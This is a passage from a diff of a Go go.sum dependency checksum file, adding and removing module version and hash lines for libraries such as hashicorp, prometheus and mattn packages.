-github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk= github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/graph-gophers/graphql-go v1.3.0/go.mod h1:9CQHMSxwO4MprSdzoIEobiHpoLtHm77vfxsvsIN5Vuc= -github.com/hashicorp/go-bexpr v0.1.10/go.mod h1:oxlubA2vC/gFVfX1A6JGp7ls7uCDlfJn732ehYYg+g0= -github.com/hashicorp/go-bexpr v0.1.11 h1:6DqdA/KBjurGby9yTY0bmkathya0lfwF2SeuubCI7dY= -github.com/hashicorp/go-bexpr v0.1.11/go.mod h1:f03lAo0duBlDIUMGCuad8oLcgejw4m7U+N8T+6Kz1AE= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.5-0.20210104140557-80c98217689d h1:dg1dEPuWpEqDnvIw251EVy4zlP8gWbsGj4BsUKCRpYs= -github.com/hashicorp/golang-lru v0.5.5-0.20210104140557-80c98217689d/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= +github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/hashicorp/golang-lru v1.0.2 h1:dV3g9Z/unq5DpblPpw+Oqcv4dU/1omnb4Ok8iPY6p1c= +github.com/hashicorp/golang-lru v1.0.2/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/holiman/bloomfilter/v2 v2.0.3 h1:73e0e/V0tCydx14a0SCYS/EWCxgwLZ18CZcZKVu0fao= github.com/holiman/bloomfilter/v2 v2.0.3/go.mod h1:zpoh+gs7qcpqrHr3dB55AMiJwo0iURXE7ZOP9L9hSkA= -github.com/holiman/uint256 v1.2.0 h1:gpSYcPLWGv4sG43I2mVLiDZCNDh/EpGjSk8tmtxitHM= -github.com/holiman/uint256 v1.2.0/go.mod h1:y4ga/t+u+Xwd7CpDgZESaRcWy0I7XMlTMA25ApIH5Jw= +github.com/holiman/uint256 v1.2.3 h1:K8UWO1HUJpRMXBxbmaY1Y8IAMZC/RsKB+ArEnnK4l5o= +github.com/holiman/uint256 v1.2.3/go.mod h1:SC8Ryt4n+UBbPbIBKaG9zbbDlp4jOru9xFZmPzLUTxw= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/huin/goupnp v1.0.3-0.20220313090229-ca81a64b4204/go.mod h1:ZxNlw5WqJj6wSsRK5+YfflQGXYfccj5VgQsMNixHM7Y= -github.com/huin/goupnp v1.0.3 h1:N8No57ls+MnjlB+JPiCVSOyy/ot7MJTqlo7rn+NYSqQ= -github.com/huin/goupnp v1.0.3/go.mod h1:ZxNlw5WqJj6wSsRK5+YfflQGXYfccj5VgQsMNixHM7Y= -github.com/huin/goutil v0.0.0-20170803182201-1ca381bf3150/go.mod h1:PpLOETDnJ0o3iZrZfqZzyLl6l7F3c6L1oWn7OICBi6o= -github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/influxdata/flux v0.65.1/go.mod h1:J754/zds0vvpfwuq7Gc2wRdVwEodfpCFM7mYlOw2LqY= -github.com/influxdata/influxdb v1.8.3/go.mod h1:JugdFhsvvI8gadxOI6noqNeeBHvWNTbfYGtiAn+2jhI= -github.com/influxdata/influxdb-client-go/v2 v2.4.0/go.mod h1:vLNHdxTJkIf2mSLvGrpj8TCcISApPoXkaxP8g9uRlW8= -github.com/influxdata/influxql v1.1.1-0.20200828144457-65d3ef77d385/go.mod h1:gHp9y86a/pxhjJ+zMjNXiQAA197Xk9wLxaz+fGG+kWk= -github.com/influxdata/line-protocol v0.0.0-20180522152040-32c6aa80de5e/go.mod h1:4kt73NQhadE3daL3WhR5EJ/J2ocX0PZzwxQ0gXJ7oFE= -github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/influxdata/line-protocol v0.0.0-20210311194329-9aa0e372d097/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/influxdata/promql/v2 v2.12.0/go.mod h1:fxOPu+DY0bqCTCECchSRtWfc+0X19ybifQhZoQNF5D8= -github.com/influxdata/roaring v0.4.13-0.20180809181101-fc520f41fab6/go.mod h1:bSgUQ7q5ZLSO+bKBGqJiCBGAl+9DxyW63zLTujjUlOE= -github.com/influxdata/tdigest v0.0.0-20181121200506-bf2b5ad3c0a9/go.mod h1:Js0mqiSBE6Ffsg94weZZ2c+v/ciT8QRHFOap7EKDrR0= -github.com/influxdata/usage-client v0.0.0-20160829180054-6d3895376368/go.mod h1:Wbbw6tYNvwa5dlB6304Sd+82Z3f7PmVZHVKU637d4po= -github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus= -github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc= -github.com/jedisct1/go-minisign v0.0.0-20190909160543-45766022959e/go.mod h1:G1CVv03EnqU1wYL2dFwXxW2An0az9JTl/ZsqXQeBlkU= -github.com/jessevdk/go-flags v0.0.0-20141203071132-1679536dcc89/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= -github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= -github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= -github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= -github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= -github.com/jrick/logrotate v1.0.0/go.mod h1:LNinyqDIJnpAur+b8yyulnQw/wDuN1+BYKlTRt3OuAQ= -github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= -github.com/jsternberg/zap-logfmt v1.0.0/go.mod h1:uvPs/4X51zdkcm5jXl5SYoN+4RK21K8mysFmDaM/h+o= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= -github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= -github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/jwilder/encoding v0.0.0-20170811194829-b4e1701a28ef/go.mod h1:Ct9fl0F6iIOGgxJ5npU/IUOhOhqlVrGjyIZc8/MagT0= -github.com/karalabe/usb v0.0.2/go.mod h1:Od972xHfMJowv7NGVDiWVxk2zxnWgjLlJzE+F4F7AGU= -github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/kkdai/bstream v0.0.0-20161212061736-f391b8402d23/go.mod h1:J+Gs4SYgM6CZQHDETBtE9HaSEkGmuNXF86RwHhHUvq4= -github.com/klauspost/compress v1.4.0/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= -github.com/klauspost/cpuid v0.0.0-20170728055534-ae7887de9fa5/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= -github.com/klauspost/crc32 v0.0.0-20161016154125-cb6bfca970f6/go.mod h1:+ZoRqAPRLkC4NPOvfYeR5KNOrY6TD+/sAC3HXPZgDYg= -github.com/klauspost/pgzip v1.0.2-0.20170402124221-0bf5dcad4ada/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= -github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/klauspost/compress v1.17.1 h1:NE3C767s2ak2bweCZo3+rdP4U/HoyVXLv/X9f2gPS5g= +github.com/klauspost/compress v1.17.1/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= -github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= +github.com/leanovate/gopter v0.2.9 h1:fQjYxZaynp97ozCzfOyOuAGOU4aU/z37zf/tOujFk7c= github.com/leanovate/gopter v0.2.9/go.mod h1:U2L/78B+KVFIx2VmW6onHJQzXtFb+p5y3y2Sh+Jxxv8= -github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= -github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= -github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= -github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= -github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= -github.com/mattn/go-tty v0.0.0-20180907095812-13ff1204f104/go.mod h1:XPvLUNfbS4fJH25nqRHfWLMa1ONC8Amw+mIA639KxkE= -github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= -github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.3 h1:OVowDSCllw/YjdLkam3/sm7wEtOy59d8ndGgCcyj8cs= -github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/pointerstructure v1.2.0/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4= -github.com/mitchellh/pointerstructure v1.2.1 h1:ZhBBeX8tSlRpu/FFhXH4RC4OJzFlqsQhoHZAz4x7TIw= -github.com/mitchellh/pointerstructure v1.2.1/go.mod h1:BRAsLI5zgXmw97Lf6s25bs8ohIXc3tViBH44KcwB2g4= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= -github.com/mschoch/smat v0.0.0-20160514031455-90eadee771ae/go.mod h1:qAyveg+e4CE+eKJXWVjKXM4ck2QobLqTDytGJbLLhJg= -github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/naoina/go-stringutil v0.1.0/go.mod h1:XJ2SJL9jCtBh+P9q5btrd/Ylo8XwT/h1USek5+NqSA0= -github.com/naoina/toml v0.1.2-0.20170918210437-9fafd6967416/go.mod h1:NBIhNtsFMo3G2szEBne+bO4gS192HuIYRqfvOWb4i1E= +github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= +github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= +github.com/matttproud/golang_protobuf_extensions/v2 v2.0.0 h1:jWpvCLoY8Z/e3VKvlsiIGKtc+UG6U5vzxaoagmhXfyg= +github.com/matttproud/golang_protobuf_extensions/v2 v2.0.0/go.mod h1:QUyp042oQthUoa9bqDv0ER0wrtXnBruoNd7aNjkbP+k= +github.com/mmcloughlin/addchain v0.4.0 h1:SobOdjm2xLj1KkXN5/n0xTIWyZA2+s99UCY1iPfkHRY= +github.com/mmcloughlin/addchain v0.4.0/go.mod h1:A86O+tHqZLMNO4w6ZZ4FlVQEadcoqkyU72HC5wJ4RlU= +github.com/mmcloughlin/profile v0.1.1/go.mod h1:IhHD7q1ooxgwTgjxQYkACGA77oFTDdFVejUS1/tS/qU= +github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= -github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= -github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= -github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.14.0 h1:2mOpI4JVVPBN+WQRa0WKH2eXR+Ey+uK4n7Zj0aYpIQA= github.com/onsi/ginkgo v1.14.0/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY= -github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc= -github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= -github.com/onsi/gomega v1.4.1/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA= -github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= +github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE= github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= -github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c= -github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= -github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/opentracing/opentracing-go v1.0.3-0.20180606204148-bd9c31933947/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/paulbellamy/ratecounter v0.2.0/go.mod h1:Hfx1hDpSGoqxkVVpBi/IlYD7kChlfo5C6hzIHwPqfFE= -github.com/peterh/liner v1.0.1-0.20180619022028-8c1271fcf47f/go.mod h1:xIteQHvHuaLYG9IFj6mSxM0fCKrs34IrEQUhOYuGPHc= -github.com/peterh/liner v1.1.1-0.20190123174540-a2c9a5303de7/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/philhofer/fwd v1.0.0/go.mod h1:gk3iGcWd9+svBvR0sR+KPcfE+RNWozjowpeBVG3ZVNU= -github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= -github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pingcap/errors v0.11.4 h1:lFuQV/oaUMGcD2tqt+01ROSmJs75VG1ToEOkZIZ4nE4= +github.com/pingcap/errors v0.11.4/go.mod h1:Oi8TUi2kEtXXLMJk9l1cGmz20kV3TaQ0usTwv5KuLY8= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/term v0.0.0-20180730021639-bffc007b7fd5/go.mod h1:eCbImbZ95eXtAUIbLAuAVnBnwf83mjf6QIVH8SHYwqQ= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= -github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_golang v1.11.1 h1:+4eQaD7vAZ6DsfsxB15hbE0odUjGI5ARs9yskGu1v4s= -github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= -github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= -github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.6.0/go.mod h1:eBmuwkDJBwy6iBfxCBob6t6dR6ENT/y+J+Zk0j9GMYc= -github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= -github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= -github.com/prometheus/common v0.30.0 h1:JEkYlQnpzrzQFxi6gnukFPdQ+ac82oRhzMcIduJu/Ug= -github.com/prometheus/common v0.30.0/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= -github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= -github.com/prometheus/procfs v0.6.0/go.mod 